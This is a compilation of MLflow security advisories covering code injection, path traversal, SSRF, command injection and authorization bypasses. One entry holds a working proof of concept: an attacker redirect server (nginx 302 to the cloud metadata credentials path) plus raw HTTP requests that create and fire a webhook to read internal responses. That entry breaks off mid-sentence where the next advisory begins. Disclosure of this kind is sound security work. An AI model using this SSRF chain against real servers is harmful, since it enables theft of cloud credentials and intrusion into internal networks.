MLflow versions from 3.12.0rc0 up to but not including 3.17.0 contain a critical code injection vulnerability. This flaw allows an attacker to execute arbitrary Python code by placing a malicious module within a writable allowed package and invoking it via MLflow's artifact endpoints. The vulnerability arises because the deserialization process accepts subclasses of allowed modules rather than strictly enforcing exact module matches. Authentication-disabled deployments are fully exposed, while basic-auth deployments require elevated privileges. The issue is resolved in version 3.17.0.
MLflow versions from 2.19.0 up to but not including 3.17.0 contain a vulnerability where the mlflow.crewai.autolog() function records CrewAI Agent objects without properly sanitizing nested credential values. This causes provider API keys to be included in plaintext within trace data sent to MLflow's trace backend or OTLP destinations. The issue is resolved in version 3.17.0.
MLflow versions from 3.10.0 up to but not including 3.17.0 contain a path traversal vulnerability in the _create_model_version() function. This flaw allows remote attackers to read arbitrary files on the MLflow server by storing a server-local path as the model version artifact location and accessing it via the model-versions API. Unauthenticated servers are fully exposed, while basic-auth servers expose this to authenticated users who can create registered models. The issue is resolved in version 3.17.0.
MLflow versions from 3.12.0rc0 up to but not including 3.17.0 contain a vulnerability involving unsafe reflection in certain endpoints that accept serialized third-party scorer data. This flaw allows attackers to manipulate class selection and constructor arguments, potentially causing the server to make outbound requests to attacker-controlled or internal hosts. The issue is resolved in version 3.17.0.
MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
In MLflow versions prior to 3.14.0, when running with authentication enabled, the trace API endpoints lack proper authorization validators. This allows any authenticated user to bypass experiment-level authorization controls on all trace operations, including reading, deleting, and modifying traces on experiments they do not have permission to access. The issue arises from the `_before_request` handler, which does not register authorization validators for trace endpoints, resulting in requests proceeding without validation. This vulnerability can expose sensitive data, destroy audit logs, and allow unauthorized modifications.
A vulnerability in mlflow/mlflow versions prior to 3.11.0 allows for the resolution of environment variables in AI Gateway secrets, which can be exploited to exfiltrate sensitive server-side environment credentials to an attacker-controlled endpoint. This issue arises because the `api_key` field in gateway secrets can accept `$ENV_VAR` references, which are resolved against the MLflow server's environment during runtime. The resolved secrets are then sent in provider authentication headers to the configured upstream `api_base`. This vulnerability can be exploited by low-privileged authenticated users in basic-auth deployments or by unauthenticated users in default deployments without `basic-auth`. The impact includes potential leakage of sensitive credentials such as cloud artifact credentials (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`), which could lead to artifact poisoning and cross-boundary code execution in downstream environments. The issue is fixed in version 3.11.0.
MLflow version 3.9.0 with basic authentication enabled has an improper access control vulnerability in several Gateway API list endpoints. Authenticated users can enumerate sensitive gateway secrets, endpoints, and model definitions without proper authorization. This exposure includes API keys and proprietary model details, potentially compromising confidentiality.
A vulnerability in MLflow versions <=3.10.1.dev0 allows unauthorized access to multipart upload (MPU) endpoints when the `--serve-artifacts` mode is enabled. The authorization logic does not enforce resource-level permission checks for `/mlflow-artifacts/mpu/*` endpoints, enabling attackers to overwrite artifacts belonging to other users. This can lead to unauthorized cross-user writes, model supply chain poisoning, and arbitrary code execution when compromised models are loaded. The issue is resolved in version 3.10.0.
In mlflow/mlflow versions up to 3.9.0, the `SearchModelVersions` REST API endpoint and the `mlflowSearchModelVersions` GraphQL query lack proper per-model authorization checks when basic authentication is enabled. This allows any authenticated user to enumerate all model versions across all registered models, regardless of their permission level. The issue arises due to the absence of `SearchModelVersions` in the `BEFORE_REQUEST_VALIDATORS` and `AFTER_REQUEST_HANDLERS` for the REST API, and its omission from `GraphQLAuthorizationMiddleware.PROTECTED_FIELDS` for GraphQL. This vulnerability can expose sensitive information such as model names, version descriptions, source URIs, tags, and other metadata, potentially revealing proprietary or confidential details in multi-tenant environments. The issue is resolved in version 3.10.0.
In MLflow version 3.9.0, the MLflow Assistant feature introduced improper origin validation in its /ajax-api endpoints. This vulnerability allows a remote attacker to exploit cross-origin requests from a malicious webpage to interact with the MLflow Assistant running on a victim's local machine. By bypassing the loopback-only restriction, the attacker can modify the Assistant's configuration to enable full access, which in turn allows the execution of arbitrary commands via the Claude Code sub-agent. This issue is resolved in version 3.10.0.
CVE-2026-4137 is a vulnerability in mlflow/mlflow prior to version 3.11.0 where temporary directories are created with insecure permissions, allowing local attackers to tamper with model artifacts. This can lead to arbitrary code execution when deserialized via cloudpickle.load(). The issue is especially critical in shared NFS environments like Databricks. It continues a previously partially fixed vulnerability class (CVE-2025-10279).
A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.
A vulnerability in the `_create_model_version()` handler of `mlflow/server/handlers.py` in mlflow/mlflow versions 3.9.0 and earlier allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The issue arises when a `CreateModelVersion` request includes the tag `mlflow.prompt.is_prompt`, which bypasses source path validation. This enables an attacker to store an arbitrary local filesystem path as the model version source. The `get_model_version_artifact_handler()` function later uses this source to serve files without verifying the model version's prompt status, leading to a complete confidentiality compromise. This issue is fixed in version 3.10.0.
A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The `_create_webhook()` function in `mlflow/server/handlers.py` accepts a user-controlled `url` parameter without validation, and the `_send_webhook_request()` function in `mlflow/webhooks/delivery.py` sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.
In mlflow/mlflow, the FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization when the `basic-auth` app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (`MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true`) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.
CVE-2026-0596 is a critical command injection vulnerability in mlflow/mlflow when serving a model with the enable_mlserver option set to true. The vulnerability arises because the model_uri parameter is embedded directly into a shell command executed via bash without proper sanitization. This allows an attacker to inject shell metacharacters to execute arbitrary commands. Exploitation can lead to full confidentiality, integrity, and availability compromise, including potential privilege escalation if the service runs with elevated privileges and serves models from writable directories by lower-privileged users.
A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the `_install_model_dependencies_to_env()` function. When deploying a model with `env_manager=LOCAL`, MLflow reads dependency specifications from the model artifact's `python_env.yaml` file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2.